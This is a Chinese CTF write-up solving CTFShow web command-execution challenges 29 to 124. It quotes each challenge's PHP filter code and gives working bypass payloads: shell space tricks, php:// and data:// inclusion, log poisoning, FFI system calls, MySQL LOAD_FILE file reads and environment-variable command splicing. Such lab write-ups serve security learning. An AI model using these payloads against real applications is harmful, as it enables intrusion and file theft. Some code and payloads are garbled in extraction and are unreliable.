跳到主要内容 CTFShow Web 命令执行 29-124 题解详解 | 极客日志
PHP
CTFShow Web 命令执行 29-124 题解详解 CTFShow Web 命令执行题目涵盖基础注入、参数逃逸、文件包含、无回显绕过、无字母数字限制、黑盒过滤及白名单利用等多种场景。涉及 PHP 代码审计、Shell 命令构造、伪协议使用、UAF 漏洞利用、FFI 接口调用及环境变量拼接等技巧。通过实际 Payload 演示了如何绕过正则过滤、关键词匹配及函数黑名单,实现任意命令执行获取 Flag。适合 Web 安全初学者系统学习命令执行漏洞原理与实战绕过方法。
命令执行
漏洞产生原理本质原因 :应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如/bin/bash、cmd.exe)执行,导致攻击者能够注入并执行任意操作系统命令。
PHP 代码执行函数 :eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort() 等
PHP 命令执行函数 :system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 等
web29-web31:基础注入
web29
( );
( ( [ ])){
= [ ];
(! ( , )){
( );
}
} {
( );
}
error_reporting
0
if
isset
$_GET
'c'
$c
$_GET
'c'
if
preg_match
"/flag/i"
$c
eval
$c
else
highlight_file
__FILE__
eval 危险代码执行函数,过滤了 flag 关键字,从代码执行转向命令执行即可,参考上述给出的命令执行的危险函数。
Payload:
?c=system(''tac fla*");
?c=system("tac fla?.php");
web30 过滤关键字:flag、system、php,换种命令执行函数即可。
Payload:
?c=echo shell_exec('tac fla*');
web31 过滤的字符和字符串:flag system php cat sort shell 点 空格 单引号。
命令执行危险函数并没有完全过滤,还可以用 passthru。至于空格过滤,下面给出几个本题适用的空格绕过方法:(前两个替换方法几乎只在命令执行中用到,后两个 web 题通用)
Shell 内部变量替代空格:
?c=passthru("tac${IFS}fla*");
Shell 内部变量 + 空参数混淆:
?c=passthru("tac$IFS$9fla*");
制表符替代空格:
?c=passthru("tac%09fla*");
换行符替代空格:
?c=passthru("tac%0afla*");
web32-web36:参数逃逸
web32 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |'|`|echo|;|(/i" ,$c )){
eval ($c );
}
}else {
highlight_file (__FILE__ );
}
过滤的字符和字符串:flag system php cat sort shell 点号 空格 单引号 反引号 echo 分号 左括号。
由于增加过滤了括号,因此对于危险函数的使用不利。但是利用 include 函数无需括号的特性,在 c 参数中定义一个不受限制的新参数实现参数逃逸,再结合 php://filter 包装器读取 flag.php 的 base64 编码内容,将敏感内容放在 GET[1] 中绕过检查,成功实现文件包含读取 flag。
Payload:
?c=include%0a$_GET[1]?&1=php://filter/convert.base64-encode/resource=flag.php
web33 方法同上,不过上题用的是 php 伪协议,这题可以用 data。
需要注意的是,这里在定义参数需要使用 ?> 提前闭合语句,才能让 data 伪协议的解析不被当成 php 代码解析,所以 payload 如下:
Payload:
?c=include%09$_GET[1]?&1=data://text/plain,
web34-36 同上即可,这里为了姿势的多样性秀一下参数逃逸 + 日志注入。
Payload:
?c=include%0a$_GET[1]?&1=…/…/…/var/log/nginx/access.log
web37-web39:文件包含 + 伪协议命令执行
web37 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c );
echo $flag ;
}
}else {
highlight_file (__FILE__ );
}
这题的代码已在上述注释中做了解释,如果我们能让 c=flag.php,就可以获取 flag 值了。但是 flag 字符串被过滤了,并且在 include 函数中是不支持使用通配符的,这时候我们可以使用 data 伪协议,我们知道 data 伪协议可以把后面的数据部分当成 php 代码执行,这一点在 include 函数里依然是可以利用的,因此,payload 可以这样构造:
Payload:
?c=data://text/plain,
web38 在上题的基础上,使用 php 的短标签语法绕过 php 关键字限制即可。
Payload:
?c=data://text/plain,
web39 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c .".php" );
}
}else {
highlight_file (__FILE__ );
}
看似是在我们输入的参数后面拼接了".php"字符串,但实际上在执行完 system 命令以后 include 函数就会直接完成执行并返回输出,完全忽略了后面的字符串,所以延用上题 payload 即可。
Payload:
?c=data://text/plain,
web40:无参数 RCE if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|%|^|&|*|(\)|-|=+|{|[|]|}|:|'|" |,|<|.>|/|\\/i",$c )){
eval($c );
}
}else{
highlight_file(__FILE__);
}
无参数 RCE 的典型场景是有一个可以执行命令的函数如这题的 eval,但传入的字符串必须经过一个严格的正则过滤,这个规则不允许我们用任何的显式参数。
此题有关无参数 RCE 的函数:
localeconv():返回包含本地化信息的数组,其第一个元素 [0] 通常是小数点。
current():返回数组中的单元,默认取第一个值。
dirname():函数返回路径中的目录部分。
array_reverse():将数组内容反转。
next(): 将指针向后移动一位并返回该元素。
show_source(filename):读取文件内容函数。
Payload:
?c=var_dump(scandir(current(localeconv())));
扫描目录黄金规则:scandir(current(localeconv()));
scandir('.')表示扫描当前目录,但是由于规则限制我们不能写参数,所以我们用 current(localeconv());来表示"."(利用 localeconv() 第一个元素 [0] 通常是小数点,current()默认取第一个值),再配合打印函数 var_dump,就构造出了扫描目录的 payload。
第二步:文件读取
从第一步执行结果可以看到 flag 在倒数第二个文件中,所以想到了反转数组,使 flag 在正数第二个文件中,再配合一个切换指针的函数,实现文件读取。
Payload:
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41:无字母 RCE 这道题连字母都限制了,但是留下了'|'管道符,所以我们可以通过位或运算,将字母和数字这些字符重新构造出来。
通过脚本可以将可用字符列举出来,运行以后当前目录出现一个 rce_or.txt,列举了重新组合后可用的字符串。
Python 脚本用于生成可用字符组合,随后编写利用脚本组合成 RCE payload。
web42-web53:绕过无回显 RCE
web42 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
system ($c ." >/dev/null 2>&1" );
}else {
highlight_file (__FILE__ );
}
题目代码想要将我们的命令执行效果重定向到空白来停止输出,我们可以提前截断代码的执行,或者使用下面的特殊逻辑运算符实现命令分隔达到回显目的。
Payload:
?c=tac flag.php;
分号分隔两个独立命令,第一个命令正常输出:
?c=tac flag.php||
逻辑或 ||第一个命令成功则短路执行,第二个重定向不会执行
?c=tac%20flag.php%26%26
逻辑与&&第一个命令成功后才会执行第二个重定向命令,需要编码一下
?c=tac%20flag.php%26
& 后台执行第一个命令,立即返回输出,需要编码一下
web43 Payload:
?c=tac flag.php||
?c=tac%20flag.php%26%26
?c=tac%20flag.php%26
web44 过滤了 flag 关键字,使用通配符即可,其余同理。
Payload:
?c=tac f*||
?c=tac%20f*%26%26
?c=tac%20f*%26
web45 过滤了:分号,flag,cat,空格。
空格的替换同 web31,注意这里不要用转义符,用了会出现错误。
Payload:
?c=tac%09f*%26
?c=tac IFS f*%26
?c=tac IFS$9f*%26
web46 有很多方法,我这里只说一句,虽然过滤了数字,但是 url 编码不会被解析成数字,所以用 url 编码绕过空格再把通配符换成问号绕过限制。
Payload:
?c=tac%09fla?.php%26
web47-web49 其实用上题 payload 即可,不过我这里用一个新方法,大家可以了解一下转义符:\ 的作用是让后面的字符 a 失去特殊含义,变成普通字符。
web49 过滤了百分号,但是 url 编码不会以单独一个%的形式被过滤,知道这一点以后构造如下 payload:
Payload:
?c=tac%09fl\ag.php%26
web50 &的 url 编码被过滤,但是管道符没有过滤。
新的空格过滤方法:
< 被 shell 解析为重定向输入,< 后面是文件名,所以 shell 会将文件内容作为重定向输出。
Payload:
?c=tac<fl\ag.php||
web51 Payload:
?c=t\ac<fl\ag.php||
web52 新增' < 、> '过滤,但是放开了对$和{}的过滤。
这里由于转义符被过滤我们用的是单引号绕过,shell 中引号可以用来做字符串拼接,相邻的字符串会被自动拼接。
这个特性在绝大多数 Shell(如 Bash、sh、zsh)中都存在。
一个简单的例子:
在 Linux 的 Bash 中,你可以这样输入:
echo"hello""world"
输出结果是:
hello world
Payload:
?c=t''ac${IFS}fl''ag.php||
但是发现得到的 flag 是假的,太狡猾了。
用 ls 命令查看,从 ?c=ls${IFS}…/||一级一级返回上级目录查看,发现 flag 在根目录,当然大家也可以用第二个命令直接去根目录看。
Payload:
?c=ls${IFS}…/…/…/||
?c=ls${IFS}/||
查看 flag:
?c=ta''c${IFS}/fla''g||
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|%|\x09|\x26|\>|\</i" ,$c )){
echo ($c );
$d =system ($c );
echo "<br>" .$d ;
}else {
echo 'no' ;
}
}else {
highlight_file (__FILE__ );
}
过滤是没有变的,只修改了代码的输出。
Payload:
?c=ta''ac${IFS}/fla''g||
web53 Payload:
ta''ac${IFS}/fla''g||
web54:关键词模糊匹配 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|%|\x09|\x26|\>|\</i" ,$c )){
system ($c );
}
}else {
highlight_file (__FILE__ );
}
事情终于变得有趣起来了,这道题用的是关键词模糊匹配,比如.*c.*a.t. 会匹配包含字母 c、a、t 的任何组合,任何包含这三个字母的顺序出现都会匹配。
由于没有禁止 ls,所以我们可以先看看 flag 在哪个文件,发现是 flag.php 后,可以将 flag.php 另存为 ccccc.txt(文件名只要不和上面规则冲突)。
Payload:
?c=cp${IFS}f??g.php${IFS}ccccc.txt
web55-web57:字符集受限 RCE
web55 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|[a-z]|\`|%|\x09|\x26|\>|\</i" ,$c )){
system ($c );
}
}else {
highlight_file (__FILE__ );
}
虽然过滤了所有大小写字母,但是没有过滤数字和空格,那就好办了,八进制编码 payload:tac flag.php,注意命令和参数要分开编码,因为空格编码的话被 shell 解析以后不再具有分隔功能,会出现错误,题目没有过滤空格,直接用真实空格,注意!编码结果如下:
Payload:
$'\164\141\143' $'\146\154\141\147\56\160\150\160'
web56 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/\;|[a-z]|[0-9]|\$|(|{|'|" |\`|%|\x09|\x26|\>|\</i",$c )){
system($c );
}
}else{
highlight_file(__FILE__);
}
过滤了所有字母和数字,以及反引号、%、Tab、&、>、<。
我们可以使用的字符:.、/、?、[、]、-、@ 等。
通过 PHP 文件上传机制实现命令执行绕过。核心原理是利用 PHP 处理文件上传时会在/tmp 目录下创建临时文件(如/tmp/phpXXXXXX)的特性。虽然临时文件会很快被删除,但在其存在的短暂时间窗口内,我们可以通过执行该文件来运行任意系统命令。
具体利用方式:通过构造 payload . /???/???
[@-
[],其中点号相当于 source 命令用于执行脚本,/???/???
[@-
[] 使用通配符匹配/tmp/phpXXXXXX 格式的临时文件名,[@-
[] 匹配 ASCII 码表中位于@和 [之间的大写字母(即 A-Z)。这样完全避开了对小写字母、数字和特殊字符的过滤限制。
通过上传包含 bash 命令的文件,在临时文件生成后立即执行其中的命令,从而成功突破过滤实现任意命令执行。
web57 题目代码明确提示了 flag 在 36.php 里面,过滤更加严格。
允许的字符:空格、斜杠、$、()
根据这些允许的字符,我们可以利用 Shell 算术扩展 $(()) 进行数学运算来构造数字:
$(()) 表示数学计算,不输入时默认为 0。
echo$(()) # 输出 0
echo $(()))# 表示对 0 取反,输出0
echo$((~$(()))) # 计算对 0 取反的结果,输出 -1
通过 37 个 -1 相加得到 -37,然后对 -37 取反可以得到 36。
在 linux 中进行测试确实输出 36,测试值即为 payload。
Payload:
?c=$(($(($(($(())))$((~$(())))...)))
web58-70:黑盒过滤 POST 参数
web58-web65 if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
}else {
highlight_file (__FILE__ );
}
代码看似就是最简单的代码执行转换命令执行,但是 post 传参执行 c=system("ls");页面显示命令执行函数被禁用。
还有另一种思路,配合文件读取函数,实现任意文件读取。
c=highlight_file("flag.php");
c=readfile("flag.php");
c=show_source("flag.php");
c=echofile_get_contents("flag.php");
web66-67 Payload:
c=highlight_file("flag.php");
flag 输出'秀秀得了,flag 这次不在这里'。
可以通过前面讲过的黄金规则进行目录扫描,扫描根目录:
c=var_dump(scandir('/'));
c=highlight_file("…/…/…/flag.txt");
web68-70 题目提示 highlight_file() 也被禁用。
RCE+include 包含函数参数逃逸绕过,具体思路方法见 web32。
Payload:
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=…/…/…/flag.txt
web71 输出混淆 error_reporting (0 );
ini_set ('display_errors' ,0 );
if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
$s =ob_get_contents ();
ob_end_clean ();
echopreg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s );
}else {
highlight_file (__FILE__ );
}
这道题直接对执行结果进行替换,将所有字母和数字都替换成?,可以提前终止脚本执行使替换规则直接作废。
Payload:
c=include("/flag.txt");die();
web72 目录限制 和上题代码是一样的,只是 flag 换位置了,用之前的方法查找 flag 不能成功了。
c=var_dump(scandir('/'));
是因为本题使用了 open_basedir(),将 php 操作的文件锁在指定的路径中,而题目同时限制了 set_ini,也就是说我们没法通过修改配置文件来绕过。
glob://是 PHP 内置的一个流包装器,它不直接读取文件内容,它根据指定的模式来寻找并返回匹配的文件或目录路径。
Payload:
c=$a=newDirectoryIterator("glob:///*");foreach($a as$f){echo($f->__toString().' ');}exit(0);
对于以上代码的解释:
$a=opendir("glob:///*");
while(($file=readdir($a))!==false){
echo$file." ";
};
exit();
POST 提交参数 payload 以后,成功读到了根目录下面存在 flag0.txt 文件。
由于题目限制我们无法跨目录读取文件,也无法用命令执行函数,所以需要用到 UAF 脚本,这个涉及到了一些 pwn 的知识,主要就是说 UAF 脚本通过内存操作修改 PHP 内部的函数指针,将普通函数调用劫持为 system 命令执行。
Payload (URL Encoded):
c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b...
web73-74:glob 协议+include 读取 先用 glob 协议看一下 flag 位置,操作同上,查到 flag 文件存在。
c=$a=newDirectoryIterator("glob:///*");foreach($a as$f){echo($f->__toString().' ');}exit(0);
按上题方法操作发现 UAF 又被禁用了,include 又可以用了,同 web71。
c=include("/flagc.txt");die();
c=include("/flagx.txt");die();
web75-web76:数据库文件读取 先用 glob 协议看一下 flag 位置,操作同上,查到 flag 文件存在。
glob 协议找到 flag 位置在 flag36.php,但是 include 函数被禁了,UAF 脚本的经典 strlen 函数也用不了,那么我们可不可以直接去从数据库读取文件呢?
LOAD_FILE() 是 MySQL 的一个内置函数,用于读取服务器上的文件内容,并以字符串形式返回。由于题目暗示中有提到 ctftraing 这个数据库,所以我们直接去读。
Payload:
c=try{$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');foreach($dbh->query('SELECT LOAD_FILE("/flag36.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();die();};exit();
Payload:
c=try{$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');foreach($dbh->query('SELECT LOAD_FILE("/flag36d.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();die();};exit();
关于以上代码的解释:
c=try{// 创建 PDO 数据库连接,连接到本机 MySQL 的 information_schema 数据库,默认存在// 使用 root 账户,密码 root,默认值$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');// 执行 SQL 查询:使用 MySQL 的 LOAD_FILE 函数读取/flag36.txt 文件内容// 遍历查询结果集 foreach($dbh->query('SELECT LOAD_FILE("/flag36.txt")')as$row){// 输出结果的第一列(即文件内容),并添加分隔符 echo($row[0])."|";// 关闭数据库连接$dbh=null;}catch(PDOException$e){// 如果发生数据库异常,输出错误信息并终止脚本 echo$e->getMessage();die();};// 终止脚本执行 exit();
web77 这道题题目提示了 php7.4,而 php7.4 版本开始引入了 FFI,FFI 是 Foreign Function Interface 的缩写,意为'外部函数接口'。它允许一种编程语言直接调用另一种编程语言编写的库(函数)和操作其数据类型。
在 PHP 的语境下,PHP FFI 使得我们能够在 PHP 脚本中直接调用 C 语言编写的函数和操作 C 语言的数据结构(如结构体、指针)。
用前面的 glob 协议读取根目录有 flag36x.txt 和 readflag 两个文件,直接读取 flag36x.txt 没有权限,readflag 是一个可以获取 flag 的程序。
这道题的文件权限差异:
flag36x.txt: -r–r-----,只有 root 用户和 root 组可以读取,www-data 用户无法直接读取
readflag:-r-sr-xr-x,设置了 SUID 权限(那个 s),任何用户执行时都会以文件所有者 (root) 的权限运行
尝试将 readflag 程序读到的 flag 重定向到 1.txt 文件中读取:
Payload:
c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
由于我们 php 的操作权限被锁在了网站目录,所以这里直接网站弟子/1.txt 访问 1.txt 即可。
web118:环境变量字符拼接
web118 查看源代码看到了 system($code);
但是无论我们输入什么命令都显示 evil input,说明是被过滤了。
通过一个爆破来列出可用字符的脚本。
核心思路:通过提取环境变量字符串的特定字符来拼接出想要的命令。
${PWD}表示当前所在的目录,一般是/var/www/html
${PATH}表示文件位置相关的环境变量,一般指 /bin
~A 代表是最后一位字符,那么
${PWD:~A}的结果就是字母 l,
${PATH:~A}的结果是字母 n
它们拼接在一起正好是 nl,能够读取 flag,因为通配符没有被过滤,所以可以用通配符代替 flag.php
Payload:
${PATH:~A}${PWD:~A}${IFS}????.???
web119-web120 和上题一样,但是上题 payload 跑不出结果了,应该是过滤了关键词。
我们的目标是执行:
/bin/cat flag.php
${#}:这个特殊变量代表传递给脚本或函数的参数个数。在没有参数的情况下,它的值为 0。
${##}:这是 $# 的长度。因为 $# 是 0,一个字符,所以 ${##} 的值为 1。 ${#SHLVL}:SHLVL 是 shell 的嵌套层级,初始为 1。数字 1 的长度是 1,所以值也是 1。
${SHLVL}:如果我们再打开一个子 shell,这个值会变成 2。
${#IFS}:IFS (Internal Field Separator) 内部字段分隔符,在 Linux 下默认是空格、制表符、换行符。这三个字符组成的字符串长度是 3。
~A:这是一个特殊的 Bash 语法,~A 被解释为 -1。
${PWD:~A} 等价于 ${PWD: -1:1},即取最后一个字符。
$IFS:本身用作命令参数间的空格。
关键字符的提取
已知 $PWD 为 /var/www/html。
命令组装
payload:/bin/cat flag.php
即:
${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???
web120-121 <?php
error_reporting (0 );
highlight_file (__FILE__ );
if (isset ($_POST ['code' ])){
$code =$_POST ['code' ];
if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|(|)|[|]|\\|+|-|!|=|^|*|\x26|%|<|>|' |"|`|\||,/',$code )){
if(strlen($code )>65){
echo'<div>'.'you are so long , I dont like '.'</div>';
}else{
echo'<div>'.system($code ).'</div>';
}
}else{
echo'<div>evil input</div>';
}
}
?>
上题 payload 不再有效,我们想要执行的命令:
/bin/rev flag.php
构造方法和上一题是一样的,只多了一个 r 的构造。
payload:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web121 新增过滤了 SHLVL,但是如果用这个方法就不影响了,120-121 题 payload 是一样的。
web122 这题开始 PWD 和#也被过滤了。
核心思路:通过 HOME 获取' / '(/root),但是需要用到数字 1,为了获取数字 1 这一关键参数,可以采用一种巧妙的错误触发方法:使用输入重定向符号 < 后跟一个不存在的文件名(例如 A)。由于系统中不存在文件 A,该命令会执行失败并返回错误代码 1,此时特殊变量 $? 会保存这一返回值。
需要执行的命令:
/bin/base64 flag.txt
payload 组装:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124:白名单函数利用 error_reporting (0 );
if (!isset ($_GET ['c' ])){
show_source (__FILE__ );
}else {
$content =$_GET ['c' ];
if (strlen ($content )>=80 ){
die ("太长了不会算" );
}
$blacklist =[' ' ,'\t' ,'\r' ,'\n' ,'\'' ,'"' ,'`' ,'[' ,']' ];
foreach ($blacklist as $blackitem ){
if (preg_match ('/' .$blackitem .'/m' ,$content )){
die ("请不要输入奇奇怪怪的字符" );
}
}
$whitelist =['abs' ,'acos' ,'acosh' ,'asin' ,'asinh' ,'atan2' ,'atan' ,'atanh' ,'base_convert' ,'bindec' ,'ceil' ,'cos' ,'cosh' ,'decbin' ,'dechex' ,'decoct' ,'deg2rad' ,'exp' ,'expm1' ,'floor' ,'fmod' ,'getrandmax' ,'hexdec' ,'hypot' ,'is_finite' ,'is_infinite' ,'is_nan' ,'lcg_value' ,'log10' ,'log1p' ,'log' ,'max' ,'min' ,'mt_getrandmax' ,'mt_rand' ,'mt_srand' ,'octdec' ,'pi' ,'pow' ,'rad2deg' ,'rand' ,'round' ,'sin' ,'sinh' ,'sqrt' ,'srand' ,'tan' ,'tanh' ];
preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' ,$content ,$used_funcs );
foreach ($used_funcs [0 ] as $func ){
if (!in_array ($func ,$whitelist )){
die ("请不要输入奇奇怪怪的函数" );
}
}
eval ('echo ' .$content .';' );
}
题目过滤逻辑:黑名单过滤特殊字符,白名单给定可用数学函数,字符串长度限制。
不能直接写 system 等非数学函数→ 通过字符串构造 + 变量函数调用。
不能写 $_GET[x]([、]、单引号被过滤)→ 用花括号 {} 代替 []→ 用进制转换构造 _GET 字符串。
不能直接写字符串 "cat f*"→ 通过 GET 参数传递。
base_convert(int|string $num, int $frombase, int $tobase):可以在进制间转换数字/字符串,36 进制包含字母 a-z 和数字 0-9,因此可以构造出字母字符串。
dechex(int $num):十进制 → 十六进制(字符串)。
hexdec(string $hex_string):十六进制字符串 → 十进制数字。
bin2hex(string $str) 和 hex2bin(string $hex):不在白名单,但可以用 base_convert 构造 hex2bin。
第一步:构造 _GET 字符串。
先算出 hex2bin 的 10 进制表示:
base_convert('hex2bin',36,10) # 得 37907361743
这样我们可以用 base_convert(37907361743,10,36) 得到 'hex2bin'。
再算出 _GET 的 16 进制形式 5f474554 的 10 进制:
hexdec('5f474554') # 得 1598506324
构造 _GET:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
分解:
base_convert(37907361743,10,36) → "hex2bin"
dechex(1598506324) → "5f474554"
hex2bin("5f474554") → "_GET"
现在 $pi 就是字符串 _GET。
第二步:构造动态函数调用。
用 {} 代替 [] 访问数组:
$$pi{abs}($$pi{acos})
参数选用白名单里面给定的函数即可,这样不会被提示禁止奇奇怪怪函数。
即 $_GET{abs}($_GET{acos})
即 $_GET'abs'
第三步:传递真实参数。
URL 参数:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*
abs 参数值为 system,acos 参数值为 cat f*
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online